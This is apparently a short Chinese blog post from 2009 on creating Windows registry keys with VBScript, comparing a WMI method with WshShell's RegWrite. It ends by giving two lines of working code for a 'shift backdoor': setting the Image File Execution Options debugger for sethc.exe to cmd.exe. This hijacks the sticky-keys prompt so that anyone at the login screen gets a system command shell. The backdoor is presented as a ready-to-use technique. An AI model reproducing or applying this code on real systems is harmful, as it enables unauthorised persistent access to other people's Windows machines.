vbs创建注册表项

2009-7-3 09:11 853 0

摘要: 　　利用vbs创建注册表值较简单，创建注册表项的话，网上多是用wmi来，例如代码：　　const HKEY_LOCAL_MACHINE = &H80000002 　　strCompute...

关键词： WScript WshShell CurrentVersion MACHINE CreateObject Microsoft Execution LOCAL sethc SOFTWARE

　　利用vbs创建注册表值较简单，创建注册表项的话，网上多是用wmi来，例如代码：　　const HKEY_LOCAL_MACHINE = &H80000002 　　strComputer = "." 　　Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ 　　strComputer & "\root\default:StdRegProv") 　　strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ‘创建sethc.exe项　　oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 　　难道WshShell 对象的RegWrite 方法真的不可以吗？我仔细研究了一下，只需要在要加入的项后加\就可以，例如　　Set WshShell = WScript.CreateObject("WScript.Shell") 　　WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\","","REG_SZ" 　　所以我们创建shift后门的话，两句话就可以。　　Set WshShell = WScript.CreateObject("WScript.Shell") 　　WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"\system32\cmd.exe","REG_SZ"

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除